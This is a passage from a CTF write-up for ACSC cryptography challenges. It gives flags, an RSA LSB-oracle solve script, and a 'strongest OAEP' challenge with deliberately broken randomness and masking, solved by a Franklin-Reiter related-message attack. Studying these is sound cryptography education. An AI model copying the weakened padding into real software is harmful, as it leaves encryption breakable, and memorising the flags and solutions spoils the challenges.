<p>we’ll notice that the bit stream is generate from $((2^{k}\times m) \mod{n}) \mod{2}$. In other words, the challenge does LSB oracle for you. Now all you need to do is to reconstruct m and reverse the encryption process.
<code class="language-plaintext highlighter-rouge">ACSC{RSA_is_not_for_the_stream_cipher_bau_bau}</code></p>

<div class="accordion mb-2" id="rsa_solve">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-rsa_solve">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#rsa_solve-content" aria-expanded="true" aria-controls="rsa_solve-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="rsa_solve-content" class="accordion-collapse collapse" aria-labelledby="hd-rsa_solve" data-bs-parent="#rsa_solve">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">import</span> <span class="nn">decimal</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">xor</span>


<span class="n">s1</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"chal.py.enc"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">s2</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"chal_redacted.py"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>

<span class="n">key_stream</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">s1</span><span class="p">,</span> <span class="n">s2</span><span class="p">)</span>

<span class="n">m</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">106362501554841064194577568116396970220283331737204934476094342453631371019436358690202478515939055516494154100515877207971106228571414627683384402398675083671402934728618597363851077199115947762311354572964575991772382483212319128505930401921511379458337207325937798266018097816644148971496405740419848020747</span>

<span class="k">def</span> <span class="nf">get_ith_bit</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">key_stream</span><span class="p">[</span><span class="n">i</span><span class="o">//</span><span class="mi">8</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="p">(</span><span class="n">i</span><span class="o">%</span><span class="mi">8</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mi">1</span>

<span class="k">print</span><span class="p">(</span><span class="n">get_ith_bit</span><span class="p">(</span><span class="mi">0</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">str</span><span class="p">,</span><span class="nb">map</span><span class="p">(</span><span class="n">get_ith_bit</span><span class="p">,</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1024</span><span class="p">)))))</span>
<span class="c1"># 0 -&gt; initially even
</span>
<span class="n">decimal</span><span class="p">.</span><span class="n">getcontext</span><span class="p">().</span><span class="n">prec</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="nb">bin</span><span class="p">(</span><span class="n">n</span><span class="p">))</span><span class="o">*</span><span class="mi">4</span>
<span class="n">low</span> <span class="o">=</span> <span class="n">decimal</span><span class="p">.</span><span class="n">Decimal</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">high</span> <span class="o">=</span> <span class="n">decimal</span><span class="p">.</span><span class="n">Decimal</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="nb">bin</span><span class="p">(</span><span class="n">n</span><span class="p">))</span><span class="o">*</span><span class="mi">4</span><span class="p">):</span>
        <span class="n">plaintext</span> <span class="o">=</span> <span class="p">(</span><span class="n">low</span> <span class="o">+</span> <span class="n">high</span><span class="p">)</span> <span class="o">/</span> <span class="mi">2</span>
        <span class="n">state</span> <span class="o">=</span> <span class="n">get_ith_bit</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">state</span><span class="p">:</span>
                <span class="n">high</span> <span class="o">=</span> <span class="n">plaintext</span>
        <span class="k">else</span><span class="p">:</span>
                <span class="n">low</span> <span class="o">=</span> <span class="n">plaintext</span>

<span class="n">low</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">low</span><span class="p">)</span>
<span class="n">high</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">high</span><span class="p">)</span>

<span class="n">m</span> <span class="o">=</span> <span class="n">high</span>
<span class="n">text</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"chal.py.enc"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">text</span><span class="p">:</span>
    <span class="n">o</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
        <span class="n">bit</span> <span class="o">=</span> <span class="p">((</span><span class="n">b</span> <span class="o">&gt;&gt;</span> <span class="n">i</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">m</span><span class="o">%</span><span class="mi">2</span><span class="p">)</span>
        <span class="n">m</span> <span class="o">=</span> <span class="p">(</span><span class="n">m</span><span class="o">*</span><span class="mi">2</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>

        <span class="n">o</span> <span class="o">|=</span> <span class="n">bit</span> <span class="o">&lt;&lt;</span> <span class="n">i</span>
    <span class="n">ciphertext</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">o</span><span class="p">)</span>

<span class="n">decoded</span> <span class="o">=</span> <span class="n">ciphertext</span>
<span class="k">print</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">decoded</span><span class="p">,</span> <span class="n">s2</span><span class="p">).</span><span class="nb">hex</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">))</span>
<span class="c1">#ACSC{RSA_is_not_for_the_stream_cipher_bau_bau}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h3 id="strongest-oaep">strongest OAEP</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>authored by Bono_iPad

OAEP is strongest! I tweeked the MGF and PRNG! I don't know what I am doing! Oh, e is growing!
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="oaep_chal">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-oaep_chal">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#oaep_chal-content" aria-expanded="true" aria-controls="oaep_chal-content">
         <p>Show chal.py</p>
 
      </button>
    </p>
    <div id="oaep_chal-content" class="accordion-collapse collapse" aria-labelledby="hd-oaep_chal" data-bs-parent="#oaep_chal">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">PKCS1_OAEP</span>
<span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="o">*</span>

<span class="kn">import</span> <span class="nn">os</span>

<span class="n">flag</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"ACSC{___REDACTED___}"</span>

<span class="k">def</span> <span class="nf">strongest_mask</span><span class="p">(</span><span class="n">seed</span><span class="p">,</span> <span class="n">l</span><span class="p">):</span>
  <span class="k">return</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x01</span><span class="s">"</span><span class="o">*</span><span class="n">l</span>

<span class="k">def</span> <span class="nf">strongest_random</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
  <span class="n">x</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mb">0b1111</span>
  <span class="k">return</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="o">*</span><span class="p">(</span><span class="n">l</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>

<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"strongest_OAEP.txt"</span><span class="p">,</span><span class="s">"w"</span><span class="p">)</span>

<span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="n">generate</span><span class="p">(</span><span class="mi">2048</span><span class="p">,</span><span class="n">e</span><span class="o">=</span><span class="mi">13337</span><span class="p">)</span>

<span class="n">c_buf</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span>

<span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">):</span>
  <span class="n">OAEP_cipher</span> <span class="o">=</span> <span class="n">PKCS1_OAEP</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">key</span><span class="p">,</span><span class="n">randfunc</span><span class="o">=</span><span class="n">strongest_random</span><span class="p">,</span><span class="n">mgfunc</span><span class="o">=</span><span class="n">strongest_mask</span><span class="p">)</span>

  <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="n">c</span> <span class="o">=</span> <span class="n">OAEP_cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
    <span class="n">num_c</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">c_buf</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
      <span class="n">c_buf</span> <span class="o">=</span> <span class="n">num_c</span>
    <span class="k">else</span><span class="p">:</span>
      <span class="k">if</span> <span class="n">c_buf</span> <span class="o">==</span> <span class="n">num_c</span><span class="p">:</span><span class="k">continue</span>
    <span class="k">break</span>

  <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"c: %d</span><span class="se">\n</span><span class="s">"</span> <span class="o">%</span> <span class="n">num_c</span><span class="p">)</span>
  <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"e: %d</span><span class="se">\n</span><span class="s">"</span> <span class="o">%</span> <span class="n">key</span><span class="p">.</span><span class="n">e</span><span class="p">)</span>
  <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"n: %d</span><span class="se">\n</span><span class="s">"</span> <span class="o">%</span> <span class="n">key</span><span class="p">.</span><span class="n">n</span><span class="p">)</span>

  <span class="n">OAEP_cipher</span> <span class="o">=</span> <span class="n">PKCS1_OAEP</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">key</span><span class="p">,</span><span class="n">randfunc</span><span class="o">=</span><span class="n">strongest_random</span><span class="p">,</span><span class="n">mgfunc</span><span class="o">=</span><span class="n">strongest_mask</span><span class="p">)</span>
  <span class="n">dec</span> <span class="o">=</span> <span class="n">OAEP_cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
  <span class="k">assert</span> <span class="n">dec</span> <span class="o">==</span> <span class="n">flag</span>

  <span class="c1"># wow, e is growing!
</span>  <span class="n">d</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="mi">31337</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">,(</span><span class="n">key</span><span class="p">.</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
  <span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="n">construct</span><span class="p">(</span> <span class="p">((</span><span class="n">key</span><span class="p">.</span><span class="n">p</span> <span class="o">*</span> <span class="n">key</span><span class="p">.</span><span class="n">q</span><span class="p">),</span> <span class="mi">31337</span><span class="p">,</span> <span class="n">d</span><span class="p">)</span> <span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>From the source, we know that the strongest_random function can only return 16 different possible values, and the mask is always constant. 
Now if we look at how OAEP padding works, this means that for the same message, there’s only 16 possible padded messages.
In addition, we can calculate the difference between each of them quite easily. 
Since we are given two sets of encrypted values that share the same modulo, we can apply some form of related message attack. Namely, the <a href="https://github.com/ValarDragon/CTF-Crypto/blob/master/RSA/FranklinReiter.sage">FranklinReiter Attack</a>.</p>

<p>The idea is that if we know how the two messages are related, let’s say it’s $x$ and $f(x)$, then the following two equations will hold when $x = m$.</p>

\[\begin{align} 
x^{e_1} - c_1 &amp;= 0 &amp;\mod{n} \\\\ 
f(x)^{e_2} - c_2 &amp;= 0 &amp;\mod{n} \\\\ 
\end{align}\]

<p>which means that both equation contains the factor $(x-m)$. We can now apply GCD on the two equations to recover the m.</p>

<p>In this challenge, $f(x)$ will simply be $x+k$ where k is the difference in the random value.
We don’t know the exact difference value though, so we iterate all possible differences, hoping to find the value we need. 
In my script, I add a special case where the difference is 0, which can be solved in an easier method. 
That ended up not being the case, but I left it in the script.</p>

<div class="accordion mb-2" id="oaep_solve">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-oaep_solve">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#oaep_solve-content" aria-expanded="true" aria-controls="oaep_solve-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="oaep_solve-content" class="accordion-collapse collapse" aria-labelledby="hd-oaep_solve" data-bs-parent="#oaep_solve">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">xor</span>

<span class="kn">import</span> <span class="nn">sys</span>

<span class="n">sys</span><span class="p">.</span><span class="n">setrecursionlimit</span><span class="p">(</span><span class="mi">500000</span><span class="p">)</span>

<span class="n">c1</span> <span class="o">=</span> <span class="mi">13412188923056789723463018818435903148553225092126449284011226597847469180689010500205036581482811978555296731975701940914514386095136431336581120957243367238078451768890612869946983768089205994163832242140627878771251215486881255966451017190516603328744559067714544394955162613568906904076402157687419266774554282111060479176890574892499842662967399433436106374957988188845814236079719315268996258346836257944935631207495875339356537546431504038398424282614669259802592883778894712706369303231223163178823585230343236152333248627819353546094937143314045129686931001155956432949990279641294310277040402543835114017195</span>
<span class="n">e1</span> <span class="o">=</span> <span class="mi">13337</span>
<span class="n">c2</span> <span class="o">=</span> <span class="mi">2230529887743546073042569155549981915988020442555697399569938119040296168644852392004943388395772846624890089373407560524611849742337613382094015150780403945116697313543212865635864647572114946163682794770407465011059399243683214699692137941823141772979188374817277682932504734340149359148062764412778463661066901102526545656745710424144593949190820465603686746875056179210541296436271441467169157333013539090012425649531186441705611053197011849258679004951603667840619123734153048241290299145756604698071913596927333822973487779715530623752416348064576460436025539155956034625483855558580478908137727517016804515266</span>
<span class="n">e2</span> <span class="o">=</span> <span class="mi">31337</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">22233043203851051987774676272268763746571769790283990272898544200595210865805062042533964757556886045816797963053708033002519963858645742763011213707135129478462451536734634098226091953644783443749078817891950148961738265304229458722767352999635541835260284887780524275481187124725906010339700293644191694221299975450383751561212041078475354616962383810736434747953002102950194180005232986331597234502395410788503785620984541020025985797561868793917979191728616579236100110736490554046863673615387080279780052885489782233323860240506950917409357985432580921304065490578044496241735581685702356948848524116794108391919</span>


<span class="c1"># Half-GCD impl from https://github.com/rkm0959/rkm0959_implements/blob/main/Half_GCD/code.sage
</span>

<span class="n">PR</span><span class="p">.</span><span class="o">&lt;</span><span class="n">x</span><span class="o">&gt;</span> <span class="o">=</span> <span class="n">PolynomialRing</span><span class="p">(</span><span class="n">Zmod</span><span class="p">(</span><span class="n">n</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">HGCD</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
    <span class="k">if</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">b</span><span class="p">.</span><span class="n">degree</span><span class="p">()</span> <span class="o">&lt;=</span> <span class="n">a</span><span class="p">.</span><span class="n">degree</span><span class="p">()</span> <span class="ow">or</span> <span class="n">a</span><span class="p">.</span><span class="n">degree</span><span class="p">()</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">a</span><span class="p">.</span><span class="n">degree</span><span class="p">()</span> <span class="o">//</span> <span class="mi">2</span>
    <span class="n">a_top</span><span class="p">,</span> <span class="n">a_bot</span> <span class="o">=</span> <span class="n">a</span><span class="p">.</span><span class="n">quo_rem</span><span class="p">(</span><span class="n">x</span> <span class="o">^</span> <span class="n">m</span><span class="p">)</span>
    <span class="n">b_top</span><span class="p">,</span> <span class="n">b_bot</span> <span class="o">=</span> <span class="n">b</span><span class="p">.</span><span class="n">quo_rem</span><span class="p">(</span><span class="n">x</span> <span class="o">^</span> <span class="n">m</span><span class="p">)</span>
    <span class="n">R00</span><span class="p">,</span> <span class="n">R01</span><span class="p">,</span> <span class="n">R10</span><span class="p">,</span> <span class="n">R11</span> <span class="o">=</span> <span class="n">HGCD</span><span class="p">(</span><span class="n">a_top</span><span class="p">,</span> <span class="n">b_top</span><span class="p">)</span>
    <span class="n">c</span> <span class="o">=</span> <span class="n">R00</span> <span class="o">*</span> <span class="n">a</span> <span class="o">+</span> <span class="n">R01</span> <span class="o">*</span> <span class="n">b</span>
    <span class="n">d</span> <span class="o">=</span> <span class="n">R10</span> <span class="o">*</span> <span class="n">a</span> <span class="o">+</span> <span class="n">R11</span> <span class="o">*</span> <span class="n">b</span>
    <span class="n">q</span><span class="p">,</span> <span class="n">e</span> <span class="o">=</span> <span class="n">c</span><span class="p">.</span><span class="n">quo_rem</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
    <span class="n">d_top</span><span class="p">,</span> <span class="n">d_bot</span> <span class="o">=</span> <span class="n">d</span><span class="p">.</span><span class="n">quo_rem</span><span class="p">(</span><span class="n">x</span> <span class="o">^</span> <span class="p">(</span><span class="n">m</span> <span class="o">//</span> <span class="mi">2</span><span class="p">))</span>
    <span class="n">e_top</span><span class="p">,</span> <span class="n">e_bot</span> <span class="o">=</span> <span class="n">e</span><span class="p">.</span><span class="n">quo_rem</span><span class="p">(</span><span class="n">x</span> <span class="o">^</span> <span class="p">(</span><span class="n">m</span> <span class="o">//</span> <span class="mi">2</span><span class="p">))</span>
    <span class="n">S00</span><span class="p">,</span> <span class="n">S01</span><span class="p">,</span> <span class="n">S10</span><span class="p">,</span> <span class="n">S11</span> <span class="o">=</span> <span class="n">HGCD</span><span class="p">(</span><span class="n">d_top</span><span class="p">,</span> <span class="n">e_top</span><span class="p">)</span>
    <span class="n">RET00</span> <span class="o">=</span> <span class="n">S01</span> <span class="o">*</span> <span class="n">R00</span> <span class="o">+</span> <span class="p">(</span><span class="n">S00</span> <span class="o">-</span> <span class="n">q</span> <span class="o">*</span> <span class="n">S01</span><span class="p">)</span> <span class="o">*</span> <span class="n">R10</span>
    <span class="n">RET01</span> <span class="o">=</span> <span class="n">S01</span> <span class="o">*</span> <span class="n">R01</span> <span class="o">+</span> <span class="p">(</span><span class="n">S00</span> <span class="o">-</span> <span class="n">q</span> <span class="o">*</span> <span class="n">S01</span><span class="p">)</span> <span class="o">*</span> <span class="n">R11</span>
    <span class="n">RET10</span> <span class="o">=</span> <span class="n">S11</span> <span class="o">*</span> <span class="n">R00</span> <span class="o">+</span> <span class="p">(</span><span class="n">S10</span> <span class="o">-</span> <span class="n">q</span> <span class="o">*</span> <span class="n">S11</span><span class="p">)</span> <span class="o">*</span> <span class="n">R10</span>
    <span class="n">RET11</span> <span class="o">=</span> <span class="n">S11</span> <span class="o">*</span> <span class="n">R01</span> <span class="o">+</span> <span class="p">(</span><span class="n">S10</span> <span class="o">-</span> <span class="n">q</span> <span class="o">*</span> <span class="n">S11</span><span class="p">)</span> <span class="o">*</span> <span class="n">R11</span>
    <span class="k">return</span> <span class="n">RET00</span><span class="p">,</span> <span class="n">RET01</span><span class="p">,</span> <span class="n">RET10</span><span class="p">,</span> <span class="n">RET11</span>


<span class="k">def</span> <span class="nf">GCD</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="n">a</span><span class="p">.</span><span class="n">degree</span><span class="p">(),</span> <span class="n">b</span><span class="p">.</span><span class="n">degree</span><span class="p">())</span>
    <span class="n">q</span><span class="p">,</span> <span class="n">r</span> <span class="o">=</span> <span class="n">a</span><span class="p">.</span><span class="n">quo_rem</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">r</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">b</span>
    <span class="n">R00</span><span class="p">,</span> <span class="n">R01</span><span class="p">,</span> <span class="n">R10</span><span class="p">,</span> <span class="n">R11</span> <span class="o">=</span> <span class="n">HGCD</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span>
    <span class="n">c</span> <span class="o">=</span> <span class="n">R00</span> <span class="o">*</span> <span class="n">a</span> <span class="o">+</span> <span class="n">R01</span> <span class="o">*</span> <span class="n">b</span>
    <span class="n">d</span> <span class="o">=</span> <span class="n">R10</span> <span class="o">*</span> <span class="n">a</span> <span class="o">+</span> <span class="n">R11</span> <span class="o">*</span> <span class="n">b</span>
    <span class="k">if</span> <span class="n">d</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">c</span><span class="p">.</span><span class="n">monic</span><span class="p">()</span>
    <span class="n">q</span><span class="p">,</span> <span class="n">r</span> <span class="o">=</span> <span class="n">c</span><span class="p">.</span><span class="n">quo_rem</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">r</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">d</span>
    <span class="k">return</span> <span class="n">GCD</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">franklinReiter</span><span class="p">(</span><span class="n">diff</span><span class="p">):</span>
    <span class="n">g1</span> <span class="o">=</span> <span class="n">x</span><span class="o">^</span><span class="n">e1</span> <span class="o">-</span> <span class="n">c1</span>
    <span class="n">g2</span> <span class="o">=</span> <span class="p">(</span><span class="n">x</span><span class="o">+</span><span class="n">diff</span><span class="p">)</span><span class="o">^</span><span class="n">e2</span> <span class="o">-</span> <span class="n">c2</span>

    <span class="n">res</span> <span class="o">=</span> <span class="n">GCD</span><span class="p">(</span><span class="n">g1</span><span class="p">,</span> <span class="n">g2</span><span class="p">)</span>
    <span class="k">return</span> <span class="o">-</span><span class="n">res</span><span class="p">.</span><span class="n">monic</span><span class="p">().</span><span class="n">coefficients</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span>

<span class="c1"># assume same message
</span><span class="k">def</span> <span class="nf">egcd</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">a</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">return</span> <span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">g</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">x</span> <span class="o">=</span> <span class="n">egcd</span><span class="p">(</span><span class="n">b</span> <span class="o">%</span> <span class="n">a</span><span class="p">,</span> <span class="n">a</span><span class="p">)</span>
        <span class="k">return</span> <span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">x</span> <span class="o">-</span> <span class="p">(</span><span class="n">b</span> <span class="o">//</span> <span class="n">a</span><span class="p">)</span> <span class="o">*</span> <span class="n">y</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span>

<span class="n">_</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">egcd</span><span class="p">(</span><span class="n">e1</span><span class="p">,</span> <span class="n">e2</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">e1</span><span class="o">*</span><span class="n">a</span> <span class="o">+</span> <span class="n">e2</span><span class="o">*</span><span class="n">b</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">ee1</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e1</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="n">ee2</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e2</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">ee1</span><span class="o">*</span><span class="n">ee2</span><span class="o">%</span><span class="n">n</span><span class="p">)))</span>
<span class="c1"># so this doesn't work lol
</span>
<span class="c1"># not same message
</span><span class="n">diff_base</span> <span class="o">=</span> <span class="mh">0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="o">-</span><span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="o">-</span><span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="o">-</span><span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="o">-</span><span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="o">-</span><span class="mi">7</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="o">-</span><span class="mi">9</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="o">-</span><span class="mi">10</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="o">-</span><span class="mi">11</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="o">-</span><span class="mi">12</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="o">-</span><span 